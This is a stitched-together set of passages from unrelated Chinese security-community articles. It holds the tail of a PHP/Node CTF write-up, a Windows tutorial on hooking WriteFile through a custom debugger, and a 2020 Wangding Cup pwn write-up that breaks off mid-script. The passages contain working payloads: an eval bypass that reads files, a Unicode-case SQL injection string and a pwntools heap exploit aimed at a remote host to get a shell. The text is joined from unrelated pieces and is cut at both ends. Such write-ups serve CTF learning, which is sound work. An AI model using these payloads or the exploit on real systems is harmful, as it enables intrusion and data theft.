但是$log_name前面被加上了$_SERVER['SERVER_NAME']，查看了手册之后发现这个值我们是可控的
在本地尝试了一波，发现这个值是取http响应头的host值。
最后一个问题是我们怎么控制base64的长度呢，我们知道base64编码之后一定是4的倍数，解码也是按4位4位来解的，那么我们只要控制好$output的值使得我们shell可以正常解码就可以了
还有一个trick：就是php在进行base64解码的时候如果遇到不是base64编码的字符会直接跳过
发现我们是可以正常解码的。
然后我们再判断我们shell前面符合base64编码有多少就可以了，不够可以填充，不过刚好是符合4的倍数，无需填充
思路都ok了，那么我们就写shell吧
可以成功上传
getflag
# **4.easy - phplimit**
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
这里涉及到了PHP正则表达式的递归模式，不清楚什么是递归模式可以看这里
<http://php.net/manual/zh/regexp.reference.recursive.php>，
题目中的正则表达式中的关键点是(?R)?，(?R)的作用就是递归地替换它所在的整条正则表达式. 在每次迭代时, PHP语法分析器都会将(?R)替换为
'/[^\W]+((?R)?)/'。
那么上面真正表达式就一目了然了，就是传入的必须是函数，而且这个函数不能带入参数，类似于这种：func1(func2(func3()))，递归模式会一直递归匹配括号的内容下去。
正则知道怎么走了，那么现在就用PHP不带参数的函数一把梭吧，在本地用了N个函数测试，最终payload：
code=var_dump(file_get_contents(next(array_reverse(scandir(dirname(chdir(next(scandir(getcwd())))))))));
还有另一种解法是利用：get_defined_vars()
get_defined_vars()，此函数返回一个包含所有已定义变量列表的多维数组，这些变量包括环境变量、服务器变量和用户定义的变量。
那么我们可以再提交一个参数过去，再用get_defined_vars()函数去获取
# **5.easy - nodechr**
代码太长了，这里就贴出关键代码吧
//关键代码1：
function safeKeyword(keyword) {
if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
return keyword
}
return undefined
}
//关键代码2：
let username = safeKeyword(ctx.request.body['username'])
let password = safeKeyword(ctx.request.body['password'])
let jump = ctx.router.url('login')
if (username && password) {
let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)
if (user) {
ctx.session.user = user
jump = ctx.router.url('admin')
}
}
很明显的sql注入，但是union，select被ban了，看着toUpperCase()这个很是诡异，再加上ph师傅给的tips，百度之，然后就百度到了ph师傅[这篇文章](https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html "这篇文章")
要点如下：
那么思路很清晰了，unıon.toUpperCase()==UNION，ſelect.toUpperCase()==SELECT
接下来就是简单的注入了
username=admin&password=1%27 un%C4%B1on %C5%BFelect null,(%C5%BFelect flag
from flags),'null
# **后记：**
这几道题目考察很多有意思的东西，也感谢ph师傅出这几道很Nice的题目，涨了不少姿势。 | 社区文章 |
# 概述：
前面的几篇文章对进程注入的几种基本操作进行了学习，接下来会分享的是有关API钩取技术的学习。
钩取，也就是常说的Hooking，是一种截取信息，更改程序执行流向，添加新功能的技术。那么API钩取顾名思义就是一种针对API函数进行的钩取操作。我们知道，在Windows环境下开发的各种引用都大量的使用了Windows系统提供的API（应用程序编程接口），而如果我们可以通过钩取技术截取某些重要API的执行流程，并将其进行修改，就可以完成许多操作。
与以前的[那篇文章](https://xz.aliyun.com/t/11863)中提到的消息钩子有所不同，API钩取是在程序的执行流上进行操作，下面简单介绍一下API钩取中的几种常用技术。
API钩取的技术大致分为两类：
* 调试：通过对目标进程进行调试来钩取API，这里所说的调试并不等同于我们使用OD，x64等调试软件对程序进行调试，而是运行我们自己写的调试程序来进行相应操作
* 注入：注入法可以细分为两种：DLL注入与代码注入（注入是API钩取的最常用的方法，会在以后的文章中进行学习），这两种方法的具体原理可以参考我的前两篇文章。
# 调试器：
本篇文章学习的是使用调试方法进行API钩取，但是这里的调试器与之前所说的调试软件是两种不同的概念。我们使用的OD，x64等调试软件是由别人编写后封装的，可以直接使用的软件，而当我们要使用调试法进行API钩取时，使用的调试器其实是自己编写的程序，在这个程序中，我们会将程序以调试权限附加到目标进程上；由于调试者拥有被调试者所有的权限，包括内存读写甚至是相应寄存器读写等权限。
所以，进行调试的程序可以通过修改内存和寄存器等方式修改被调试程序调用API时使用的参数或者直接截取程序的执行流以完成API钩取的操作。
## 调试器的工作原理
在开始对源码进行分析之前，先简单了解一下调试器的工作原理：
调试进程经过注册后，每当被挑事者发生调试事件（Debug Event）时，OS
就会暂停其运行，并向调试器报告相应事件。调试器对相应事件做适当处理后，时被调试者继续运行。
* 一般的异常（Exception）也属于调试事件。
* 若相应进程处于非调试，调试事件会在其自身的异常处理或 OS 的异常处理机制中被处理掉。
* 调试器无法处理或不关心的调试事件最终由 OS 处理
在各种异常事件中，断点异常ECXEPTION_BREAKPOINT异常是调试器必须要处理的。那么，如果我们将目标API函数的起始地址更改为断点指令：INT3（对应机器码为0xCC），那么我们就可以将程序的执行流在此处中断，而此时，栈中正好保存了这个API函数所需要的参数等，那么我们结合线程中的上下文结构（context）就可以完成修改API中相应的参数等操作
# dbgHook.cpp：
本次练习操作的对象是钩取notepad中调用的WriteFile函数，然后将notepad保存文件内容中所有的小写字母更改为大写字母，不是一个很复杂的操作，但是可以比较清楚的了解调试钩取的主要流程。
下面先给出总的源代码：
#include "windows.h"
#include "stdio.h"
LPVOID g_pWriteFile = NULL;
CREATE_PROCESS_DEBUG_INFO g_cpdi;
BYTE g_chINT3 = 0xCC;
BYTE g_orgByte = 0;
BOOL CreateProcessDebugEvent(LPDEBUG_EVENT pde)
{
g_pWriteFile = GetProcAddress(GetModuleHandleA("kernel32.dll"), "WriteFile");
memcpy(&g_cpdi, &pde->u.CreateProcessInfo, sizeof(CREATE_PROCESS_DEBUG_INFO));
ReadProcessMemory(g_cpdi.hProcess, g_pWriteFile, &g_orgByte, sizeof(BYTE), NULL);
WriteProcessMemory(g_cpdi.hProcess, g_pWriteFile, &g_chINT3, sizeof(BYTE), NULL);
return TRUE;
}
BOOL ExceprtionDebugEvent(LPDEBUG_EVENT pde)
{
CONTEXT ctx;
PBYTE lpBuffer = NULL;
DWORD dwNumofBytestTowrite = 0;
DWORD dwAddrOfBuffer = 0;
DWORD i = 0;
PEXCEPTION_RECORD per = &pde->u.Exception.ExceptionRecord;
if (per->ExceptionCode == EXCEPTION_BREAKPOINT)
{
if (g_pWriteFile == per->ExceptionAddress)
{
WriteProcessMemory(g_cpdi.hProcess, g_pWriteFile, &g_orgByte, sizeof(BYTE), NULL);
ctx.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(g_cpdi.hThread, &ctx);
ReadProcessMemory(g_cpdi.hProcess, (LPVOID)(ctx.Esp + 0x8), &dwAddrOfBuffer, sizeof(DWORD), NULL);
ReadProcessMemory(g_cpdi.hProcess, (LPVOID)(ctx.Esp + 0xC), &dwNumofBytestTowrite, sizeof(DWORD), NULL);
lpBuffer = (PBYTE)malloc(dwNumofBytestTowrite + 1);
memset(lpBuffer, 0, dwNumofBytestTowrite + 1);
ReadProcessMemory(g_cpdi.hProcess, (LPVOID)dwAddrOfBuffer, lpBuffer, dwNumofBytestTowrite, NULL);
printf("orignal string: %s\n", lpBuffer);
for (i = 0; i < dwNumofBytestTowrite; i++)
{
if (lpBuffer[i] >= 0x61 && lpBuffer[i] <= 0x7A)
{
lpBuffer[i] -= 0x20;
}
}
printf("string after changing:%s\n", lpBuffer);
WriteProcessMemory(g_cpdi.hProcess, (LPVOID)dwAddrOfBuffer, lpBuffer, dwNumofBytestTowrite, NULL);
free(lpBuffer);
ctx.Eip = (DWORD)g_pWriteFile;
SetThreadContext(g_cpdi.hThread, &ctx);
ContinueDebugEvent(pde->dwProcessId, pde->dwThreadId, DBG_CONTINUE);
Sleep(0);
WriteProcessMemory(g_cpdi.hProcess, g_pWriteFile, &g_chINT3, sizeof(BYTE), NULL);
return TRUE;
}
return FALSE;
}
}
void DebugLoop()
{
DEBUG_EVENT de;
DWORD dwContinueStatus;
while (WaitForDebugEvent(&de, INFINITE))
{
dwContinueStatus = DBG_CONTINUE;
if (de.dwDebugEventCode == CREATE_PROCESS_DEBUG_EVENT)
{
CreateProcessDebugEvent(&de);
}
else if (de.dwDebugEventCode == EXCEPTION_DEBUG_EVENT)
{
if (ExceprtionDebugEvent(&de))
continue;
}
else if (de.dwDebugEventCode == EXIT_PROCESS_DEBUG_EVENT)
{
break;
}
ContinueDebugEvent(de.dwProcessId, de.dwThreadId, dwContinueStatus);
}
}
int main(int argc, char* argv[])
{
DWORD dwPID = 0;
dwPID = atoi(argv[1]);
if (!DebugActiveProcess(dwPID))
{
printf("DebugActiveProcess(%d) failed!!!\n""Error Code = %d\n", dwPID, GetLastError());
return -1;
}
DebugLoop();
return 0;
}
程序的流程大概如下：
1. 将调试器附加至目标进程并赋予其调试的权限（DebugActiveProcess(dwPID)）
2. 等待程序运行至发生相关的调试事件（DebugLoop()）
3. 当程序对应的进程创建时进行相应的操作（CreateProcessDebugEvent）
4. 当程序对应的进程发生中断事件时进行相应的操作（ExceprtionDebugEvent）
下面将具体分析比较重要的几个步骤的对应函数
## main：
主函数的流程和数据结构都比较简单，这里不在过多赘述，直接看一下代码即可：
#include "windows.h"
#include "stdio.h"
LPVOID g_pWriteFile = NULL; //记录WriteFile起始地址的指针
CREATE_PROCESS_DEBUG_INFO g_cpdi; //有关进程创建信息数据结构的全局变量
BYTE g_chINT3 = 0xCC; //INT3指令对应的机器码即为0xCC
BYTE g_orgByte = 0;
int main(int argc, char* argv[])
{
DWORD dwPID = 0;
dwPID = atoi(argv[1]); //将命令行参数转化为整型
if (!DebugActiveProcess(dwPID))
{
printf("DebugActiveProcess(%d) failed!!!\n""Error Code = %d\n", dwPID, GetLastError());
return -1;
}
DebugLoop();
return 0;
}
## CreateProcessDebugEvent:
这个函数完成的操作是当程序进程发生进程创建异常时，将目标API函数的起始地址中的内存数据更改为INT3指令对应的机器码（0xCC），使程序能够在目标API处中断下来。
程序的流程比较简单：
1. 获取WriteFile在进程中的地址
2. 将此时程序对应的进程创建信息结构体赋给全局变量g_cpdi
3. 保存WriteFile函数起始地址的第一个原始字节，并将其修改为INT3指令的机器码0xCC
这里提一下CREATE_PROCESS_DEBUG_INFO这个数据结构：
它是可由调试器使用的进程创建信息，它可以在MSDN上查到如下：
typedef struct _CREATE_PROCESS_DEBUG_INFO {
HANDLE hFile;
HANDLE hProcess;
HANDLE hThread;
LPVOID lpBaseOfImage;
DWORD dwDebugInfoFileOffset;
DWORD nDebugInfoSize;
LPVOID lpThreadLocalBase;
LPTHREAD_START_ROUTINE lpStartAddress;
LPVOID lpImageName;
WORD fUnicode;
} CREATE_PROCESS_DEBUG_INFO, *LPCREATE_PROCESS_DEBUG_INFO;
其中比较重要的成员就是hProcess（进程句柄），hThread（线程句柄）。在后面的代码中会多次用到这个结构中的成员。
这个部分对应的代码和注释如下：
BOOL CreateProcessDebugEvent(LPDEBUG_EVENT pde) //创建进程的调试事件
{
g_pWriteFile = GetProcAddress(GetModuleHandleA("kernel32.dll"), "WriteFile"); //获取WriteFile的真实函数地址
memcpy(&g_cpdi, &pde->u.CreateProcessInfo, sizeof(CREATE_PROCESS_DEBUG_INFO)); //将进程创建的相关信息拷贝全局变量g_cpdi中
ReadProcessMemory(g_cpdi.hProcess, g_pWriteFile, &g_orgByte, sizeof(BYTE), NULL); //将原始的WriteFile函数开始的一个字节记录存储下来，后面复原函数时会用到
WriteProcessMemory(g_cpdi.hProcess, g_pWriteFile, &g_chINT3, sizeof(BYTE), NULL); //将WriteFile函数的最开始一个字节改变为中断指令：INT3
return TRUE;
}
## ExceprtionDebugEvent：
这个函数是当程序遇到断点异常（也就是遇到INT3指令）时被中断后进行的操作。
它的主要流程如下：
1. 将WriteFile函数的结构复原（恢复第一个字节，对应脱钩操作）
2. 获取线程对应上下文结构
3. 修改函数对应参数
4. 分配临时缓冲区并将函数原本要写入的内容复制进去
5. 在临时缓冲区中对写入内存进行修改后将其复制回函数的写入缓冲区中并将临时缓冲区释放
6. 重新执行函数，即再完成一次文件写入操作（前面的那一次被截断了所以并没有在文件中实际写入内容）
7. 再次将WriteFile函数的第一个字节更换为0xCC
这个函数的流程比较复杂但在逻辑上是很通顺的，下面简单说一下我在编写这个函数时遇到的一些问题
### 挂钩与脱钩 ：
由于我们进行的是API钩取操作，所以一定会有挂钩与脱钩这一对操作，但是这里有点特殊，是先脱钩在挂钩。这是因为在前面的CreateProcessDebugEvent函数中已经完成了一次挂钩操作，而后面的函数流程中会重新运行目标API函数，如果不先脱钩的话，程序就会一直在API函数的开头被中断下来
### 上下文结构：
在第二步操作中我们需要获取对应线程的上下文结构：CONTEXT，这其实是程序运行时各个寄存器在Windows编程中的数据结构表示，可以在MSDN上查到，这里只看一下比较重要的部分：
DWORD Edi;
DWORD Esi;
DWORD Ebx;
DWORD Edx;
DWORD Ecx;
DWORD Eax;
//
// This section is specified/returned if the
// ContextFlags word contians the flag CONTEXT_CONTROL.
//
DWORD Ebp;
DWORD Eip;
DWORD SegCs; // MUST BE SANITIZED
DWORD EFlags; // MUST BE SANITIZED
DWORD Esp;
DWORD SegSs;
这里可以看见其中包含了EIP,ESP等重要的寄存器值，而这个结构体中的成员数值在经过修改后会作为我们设置线程上下文的参数。
**注：这个结构体在64位和32位下的程序差异很大，具体请在VS的WinNT.h中查看**
### 线程的重启与sleep(0)：
在完成WriteFile写入内容的修改后，需要使这个API函数从开头再执行一次，为了完成这个操作，就需要用到前面说到的上下文结构（CONTEXT）。
我们知道，程序的执行流是由EIP这个寄存器中指向的地址来决定的，那么我们可以将这个地址指向WriteFile函数的起始地址，这样就完成了这个有点像“时空回溯”的线程重启操作：
ctx.Eip = (DWORD)g_pWriteFile;
SetThreadContext(g_cpdi.hThread, &ctx); //SetThreadContext指定CONTEXT存储到指定线程
这里可能还有一个疑问就是：我们设置INT3指令中断的位置不就是WriteFile的起始地址吗，为什么还要修改EIP？
**这是由于程序的执行流在遇到INT3指令时是以一个执行的状态来处理的，所以在CPU的角度上等于EIP还是自加了1（INT3指令为1个字节），所以我们要将EIP重新设置**
还有就是当我们继续被调试进程时会使用到一个sleep(0)的操作，这个sleep函数表示将线程挂起，括号中的是挂起时间，这里乍一看挂起0秒好像没有什么意义。但是站在操作系统的角度，这个
**挂起操作等于当前线程主动放弃自己的时间片，那么其他的线程就可以执行了。**
在这个程序中，dbgHook.exe主动挂起，那么对应的notepad就可以继续执行其WriteFile函数（也就是让其在文件中写入我们修改后的内容），执行完后就会将控制权再次转移给dbgHook.exe，这样后面的代码才可以正常执行。
**如果没有这个sleep(0)，那么dbgHook.exe就会继续执行，而在逻辑上，后面的挂钩操作是要等WriteFile函数执行完在进行的，所以就有可能出现内存写入错误的bug。**
### 异常记录结构体：
Windows编程对于用户自定义的调试器中有一个关于异常记录的数据结构：EXCEPTION_RECORD，在MSDN中可以查到如下：
typedef struct _EXCEPTION_RECORD {
DWORD ExceptionCode;
DWORD ExceptionFlags;
struct _EXCEPTION_RECORD *ExceptionRecord;
PVOID ExceptionAddress;
DWORD NumberParameters;
ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD;
其中比较重要的成员就是ExceptionCode，即调试信息中运行至此处对应的异常码。
这个部分的代码即注释如下：
BOOL ExceprtionDebugEvent(LPDEBUG_EVENT pde) //异常触发时的处理函数
{
CONTEXT ctx; //用于记录上下文的结构，上下文中包含各种寄存器、程序状态字以及段寄存器的值等
PBYTE lpBuffer = NULL; //用于执行后面的临时缓冲区
DWORD dwNumofBytestTowrite = 0; //用于存储原WriteFile中的NumofBytestTowrite参数
DWORD dwAddrOfBuffer = 0; //用于存储原WriteFile中的lpBuffer参数
DWORD i = 0;
PEXCEPTION_RECORD per = &pde->u.Exception.ExceptionRecord; //关于异常记录的结构体，用于记录程序运行中发生的异常
if (per->ExceptionCode == EXCEPTION_BREAKPOINT) //当放生断点异常时（也就是发生INT3中断时）
{
if (g_pWriteFile == per->ExceptionAddress) //检查发生异常的地址是否与WriteFile的地址一致
{
//1.将WriteFile函数结构复原（即复原第一个字节）
WriteProcessMemory(g_cpdi.hProcess, g_pWriteFile, &g_orgByte, sizeof(BYTE), NULL);
//2.获取线程对应的上下文
ctx.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(g_cpdi.hThread, &ctx);
//3.获取原始WriteFile函数的第二和第三个参数（也就是:lpBuffer、nNumberOfBytesToWrite）
ReadProcessMemory(g_cpdi.hProcess, (LPVOID)(ctx.Esp + 0x8), &dwAddrOfBuffer, sizeof(DWORD), NULL); //第二个参数在ESP+8的位置上
ReadProcessMemory(g_cpdi.hProcess, (LPVOID)(ctx.Esp + 0xC), &dwNumofBytestTowrite, sizeof(DWORD), NULL); //第三个参数在ESP+C的位置上
//4.分配临时缓冲区
lpBuffer = (PBYTE)malloc(dwNumofBytestTowrite + 1);
memset(lpBuffer, 0, dwNumofBytestTowrite + 1); //将临时缓冲区用0填充
//5.将WriteFile参数中lpBuffer的内容拷贝进临时缓冲区中
ReadProcessMemory(g_cpdi.hProcess, (LPVOID)dwAddrOfBuffer, lpBuffer, dwNumofBytestTowrite, NULL);
printf("orignal string: %s\n", lpBuffer);
//6.将小写字母转化为大写字母
for (i = 0; i < dwNumofBytestTowrite; i++)
{
if (lpBuffer[i] >= 0x61 && lpBuffer[i] <= 0x7A) //用于检查对应字符是否为英文字母
{
lpBuffer[i] -= 0x20; //ASCII码中小写字母减去0x20即为对应的大写字母
}
}
printf("string after changing:%s\n", lpBuffer);
//7.将修改后的字符串再复制到WriteFile的读取缓冲区中
WriteProcessMemory(g_cpdi.hProcess, (LPVOID)dwAddrOfBuffer, lpBuffer, dwNumofBytestTowrite, NULL);
//8.将临时缓冲区释放掉
free(lpBuffer);
//9.将线程的上下文结构中的EIP的数据改为WriteFile函数开始的地址
//当前地址为原WriteFile地址+1的地方，因为执行了INT3的命令，EIP移动了一个字节
ctx.Eip = (DWORD)g_pWriteFile;
SetThreadContext(g_cpdi.hThread, &ctx); //设置目标线程的上下文结构
//10.从EIP处开始运行被调试进程
ContinueDebugEvent(pde->dwProcessId, pde->dwThreadId, DBG_CONTINUE);
Sleep(0); //这个操作是为了让前面新开始的那个线程优先执行
//11.再次在WriteFile函数中设置INT3中断指令
WriteProcessMemory(g_cpdi.hProcess, g_pWriteFile, &g_chINT3, sizeof(BYTE), NULL);
return TRUE;
}
return FALSE;
}
}
## DebugLoop：
这个部分即使监视程序运行过程中是否出现对应调试事件并对其进行相应处理的函数
其函数结构主体是一个while循环，即不断等待调试事件的发生，函数流程大致如下：
1. 等待进程创建事件发生并进行相应操作（执行CreateProcessDebugEvent函数）
2. 等待调试异常事件并进行相应操作（执行ExceprtionDebugEvent函数）
3. 等待程序退出事件发生，终止循环并退出
这个部分的流程比较简单，着重讲一下一个在调试法中比较重要的数据结构：DEBUG_EVENT，这是Windows编程中有关调试信息的数据结构，它被解释为：
typedef struct _DEBUG_EVENT {
DWORD dwDebugEventCode;
DWORD dwProcessId;
DWORD dwThreadId;
union {
EXCEPTION_DEBUG_INFO Exception;
CREATE_THREAD_DEBUG_INFO CreateThread;
CREATE_PROCESS_DEBUG_INFO CreateProcessInfo;
EXIT_THREAD_DEBUG_INFO ExitThread;
EXIT_PROCESS_DEBUG_INFO ExitProcess;
LOAD_DLL_DEBUG_INFO LoadDll;
UNLOAD_DLL_DEBUG_INFO UnloadDll;
OUTPUT_DEBUG_STRING_INFO DebugString;
RIP_INFO RipInfo;
} u;
} DEBUG_EVENT, *LPDEBUG_EVENT;
这些成员都比较重要：
* dwDebugEventCode：标识调试事件类型的代码
* dwProcessId：发生调试事件的进程的标识符
* dwThreadId：发生调试事件的线程的标识符
* u:与调试事件相关的任何附加信息，这个联合体中包含EXCEPTION_DEBUG_INFO等很重要的结构体，可以自己去MSDN中详细了解一下。
这一部分的代码及注释如下：
void DebugLoop()
{
DEBUG_EVENT de; //用于接受调试信息的结构体，后面将作为参数传递给调试函数使用
DWORD dwContinueStatus;
//等待被调试者发生事件
while (WaitForDebugEvent(&de, INFINITE)) //当事件发生时将调试信息输入到de中
{
dwContinueStatus = DBG_CONTINUE;
//CREATE_PROCESS_DEBUG_EVENT（也就是进程创建事件会固定出现）
if (de.dwDebugEventCode == CREATE_PROCESS_DEBUG_EVENT) //当发生异常时de.dwDebugEventCode会被设置为相应的异常码
{
CreateProcessDebugEvent(&de); //执行当进程被创建时对应的函数
}
else if (de.dwDebugEventCode == EXCEPTION_DEBUG_EVENT)
{
if (ExceprtionDebugEvent(&de)) //执行对应异常发生时的函数
continue;
}
else if (de.dwDebugEventCode == EXIT_PROCESS_DEBUG_EVENT) //当被调试进程终止时跳出循环，结束调试
{
break;
}
ContinueDebugEvent(de.dwProcessId, de.dwThreadId, dwContinueStatus); //在程序主进程退出前继续运行被调试进程
}
}
# 测试运行：
本次测试在XP下进行（win10环境下存在权限问题）。
首先如下图所示输入对应参数：
然后运行API钩取程序，之后在记事本中随意输入一些小写的英文字母：
之后保存这个文件，此时记事本中的内容还不会有变化，但是命令提示符窗口中可以看见程序抓取到了一些信息：
之后再次打开前面保存的文件就会发现字母全部变成大写了：
结束程序后可能会发现程序又抓取到了一些看起来很奇怪的信息，这个是由于Windows下的可执行程序在被编译时，有些段的空白部分会被编译为一串INT3指令，在调试的过程会经常看见。
# 参考资料:
《逆向工程核心原理》[韩] 李承远 | 社区文章 |
# 2020网鼎杯-朱雀组-部分wp
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## PWN
### 云盾
题目基本信息：保护全开，`ubuntu16.04`上的64位`PWN`
radish ➜ pwn1 file pwn
pwn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f8298b1a21cb8759bd1d70177eca6907f0227b77, not stripped
radish ➜ pwn1 checksec --file pwn
[*] '/media/psf/Home/Desktop/xe7xbdx91xe9xbcx8e/pwn1/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
radish ➜ pwn1
在IDA里面分析程序流程
映入眼帘的是程序中存在使用system函数，根据交叉引用发现存在后门函数
然后给我的反应这道题十有八九是栈溢出，开始分析程序，程序流程比较复杂，`main`函数在IDA里转伪C如下所示：
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char *v3; // rsi
int i; // [rsp+Ch] [rbp-D4h]
char *v5; // [rsp+10h] [rbp-D0h]
char *format; // [rsp+18h] [rbp-C8h]
char s; // [rsp+20h] [rbp-C0h]
char v8; // [rsp+21h] [rbp-BFh]
char v9; // [rsp+22h] [rbp-BEh]
char v10; // [rsp+23h] [rbp-BDh]
char v11; // [rsp+24h] [rbp-BCh]
char v12; // [rsp+25h] [rbp-BBh]
char v13; // [rsp+26h] [rbp-BAh]
char v14; // [rsp+27h] [rbp-B9h]
char dest; // [rsp+60h] [rbp-80h]
unsigned __int64 v16; // [rsp+C8h] [rbp-18h]
v16 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
v3 = 0LL;
setbuf(stderr, 0LL);
v5 = 0LL;
format = 0LL;
puts(" Welcome to skShell v0.0.0!");
puts("-----------------------------------------");
puts(" Protected by skYunDun v0.0.0 ");
puts("-----------------------------------------");
puts(" skYunDun -- Industry leader");
puts(" We are making this world safer than ever.");
while ( 1 )
{
do
{
while ( 1 )
{
while ( 1 )
{
do
{
while ( 1 )
{
while ( 1 )
{
printf("> ", v3);
v3 = (_BYTE *)(&dword_30 + 2);
fgets(&s, 0x32, stdin);
if ( s == 'l' && v8 == 's' )
puts("flagtpwnt1t2");
if ( s == 'c' )
break;
if ( s == 'v' )
{
if ( v8 == 'i' && v9 == 'm' )
{
puts("------skVim v0.0.0------");
if ( v10 == ' ' )
{
if ( v11 != '1' || v12 != 'n' )
{
if ( v11 != '2' || v12 != 'n' )
{
puts("[!] File not exist!");
}
else
{
format = (char *)malloc(0x30uLL);
if ( format )
{
printf("> ", 0x32LL);
v3 = format;
_isoc99_scanf("%70s", format);
puts("Done!");
}
else
{
puts("[!] Error! Bad fd detected!");
}
}
}
else
{
v5 = (char *)malloc(0x60uLL);
if ( v5 )
{
printf("> ", 0x32LL);
v3 = v5;
_isoc99_scanf("%70s", v5);
puts("Done!");
}
else
{
puts("[!] Error! Bad fd detected!");
}
}
}
else
{
puts("[!] Error! Missing an parameter!");
}
}
}
else if ( s == 'r' && v8 == 'm' && v9 == ' ' )
{
if ( v10 == '1' )
{
if ( *(v5 - 16) )
{
puts(
"---------------skYunDun v0.0.0---------------n"
"[!] Detected an heap leak!n"
"[!] Rolling back....");
v5 = 0LL;
format = 0LL;
}
else
{
free(v5);
}
}
else if ( v10 == '2' )
{
free(format);
}
}
}
if ( v8 != 'd' )
break;
if ( v9 == ' ' )
{
v3 = &v10;
strcpy(&dest, &v10);
changedir(&dest);
}
}
}
while ( v8 != 'a' || v9 != 't' || v10 != ' ' );
if ( v11 != '1' )
break;
if ( v5 )
puts(v5);
}
if ( v11 == '2' )
break;
if ( v11 != 'f' || v12 != 'l' || v13 != 'a' || v14 != 'g' )
{
if ( v11 != 'p' || v12 != 'w' || v13 != 'n' )
puts("[!] No such file!");
else
puts("[!] Cannot view a binary file!");
}
else
{
puts("[!] This file is protected by skYunDun");
}
}
}
while ( !format );
for ( i = 0; ; ++i )
{
if ( i >= strlen(format) )
goto LABEL_27;
if ( format[i] == '%' && format[i + 1] == 'n'
|| format[i] == '%' && format[i + 1] == 'h'
|| format[i] == '%' && format[i + 1] == 'x' )
{
break;
}
}
puts("---------------skYunDun v0.0.0---------------n[!] Detected an format attack!n[!] Rolling back....");
*format = 0;
LABEL_27:
printf(format, 0x32LL);
putchar(10);
}
}
审计一遍发现没有栈溢出，而是找到一处堆溢出！
该程序模拟实现了`linux`终端，可以执行的命令包含：
`ls`：输出固定格式，四个文件
if ( s == 'l' && v8 == 's' )
puts("flagtpwnt1t2");
`vim`：只能够修改文件名字为`1`和`2`的
修改文件1时程序申请0x30大小的堆块，然后用户输入70大小的字符串，这里存在堆溢出，修改文件2时程序申请0x60大小的堆块，然后用户还是输入70大小的字符串，这里就不存在溢出了
if ( s == 'v' )
{
if ( v8 == 'i' && v9 == 'm' )
{
puts("------skVim v0.0.0------");
if ( v10 == ' ' )
{
if ( v11 != '1' || v12 != 'n' )
{
if ( v11 != '2' || v12 != 'n' )
{
puts("[!] File not exist!");
}
else
{
format = (char *)malloc(0x30uLL);
if ( format )
{
printf("> ", 0x32LL);
v3 = format;
_isoc99_scanf("%70s", format);
puts("Done!");
}
else
{
puts("[!] Error! Bad fd detected!");
}
}
}
else
{
v5 = (char *)malloc(0x60uLL);
if ( v5 )
{
printf("> ", 0x32LL);
v3 = v5;
_isoc99_scanf("%70s", v5);
puts("Done!");
}
else
{
puts("[!] Error! Bad fd detected!");
}
}
}
`cat`：只能够查看文件名字为1和2的内容
if ( v11 != '1' )
break;
if ( v5 )
puts(v5);
}
if ( v11 == '2' )
break;
if ( v11 != 'f' || v12 != 'l' || v13 != 'a' || v14 != 'g' )
{
if ( v11 != 'p' || v12 != 'w' || v13 != 'n' )
puts("[!] No such file!");
else
puts("[!] Cannot view a binary file!");
}
`rm`:把文件1或2的堆块给free掉，这里存在UAF漏洞，但是这里存在一个堆块结构的验证，之后在构造`payload`的时候需要注意
else if ( s == 'r' && v8 == 'm' && v9 == ' ' )
{
if ( v10 == '1' )
{
if ( *(v5 - 16) )
{
puts(
"---------------skYunDun v0.0.0---------------n"
"[!] Detected an heap leak!n"
"[!] Rolling back....");
v5 = 0LL;
format = 0LL;
}
else
{
free(v5);
}
}
else if ( v10 == '2' )
{
free(format);
}
}
}
程序基本流程已经知道，漏洞点已经找出，存在堆溢出、UAF漏洞
攻击流程：
* 先利用溢出触发堆块可以进入`unsortbin`中，从而可以在堆块中出现libc地址
* 利用`UAF`来泄露出`libc`地址
* 利用`double free`来修改`__malloc_hook为one_gg`
* 成功`getshell`
exp:
from pwn import *
# from LibcSearcher import *
context.log_level='debug'
debug = 0
file_name = './pwn'
libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
ip = '59.110.243.101'
prot = '25413'
if debug:
r = process(file_name)
libc = ELF(libc_name)
else:
r = remote(ip,int(prot))
libc = ELF(libc_name)
def debug():
gdb.attach(r)
raw_input()
file = ELF(file_name)
sl = lambda x : r.sendline(x)
sd = lambda x : r.send(x)
sla = lambda x,y : r.sendlineafter(x,y)
rud = lambda x : r.recvuntil(x,drop=True)
ru = lambda x : r.recvuntil(x)
li = lambda name,x : log.info(name+':'+hex(x))
ri = lambda : r.interactive()
ru("> ")
sl("vim 2")
ru("> ")
sl("test")
ru("> > ")
sl("vim 1")
ru("> ")
sl("test")
ru("> > ")
sl("rm 2")
ru("> ")
sl("vim 2")
ru("> ")
sl("a"*0x30+p64(0)+p64(0x91))
ru("> > ")
sl("vim 2")
ru("> ")
sl(p64(0)*3+p64(0x21))
ru("> > ")
sl("rm 1")
ru("> ")
sl("cat 1")
libc_base = u64(rud("x0a")+"x00x00")-3951480
li("libc_base",libc_base)#0x7fbabada7000
system = libc_base+libc.symbols['system']
malloc_hook = libc_base + libc.symbols['__malloc_hook']-0x13
one_gg = 0xf02a4 + libc_base
ru("> ")
sl("vim 2")
ru("> ")
sl("test")
ru("> ")
sl("vim 2")
ru("> ")
sl("test")
ru("> ")
sl("vim 2")
ru("> ")
sl("test")
ru("> > ")
sl("vim 1")
ru("> ")
sl("test")
ru("> > ")
sl("rm 2")
ru("> ")
sl("rm 1")
ru("> ")
sl("vim 2")
ru("> ")
sl("a"*0x30+p64(0)+p64(0x71)+p64(malloc_hook)[:6])
ru("> > ")
sl("vim 1")
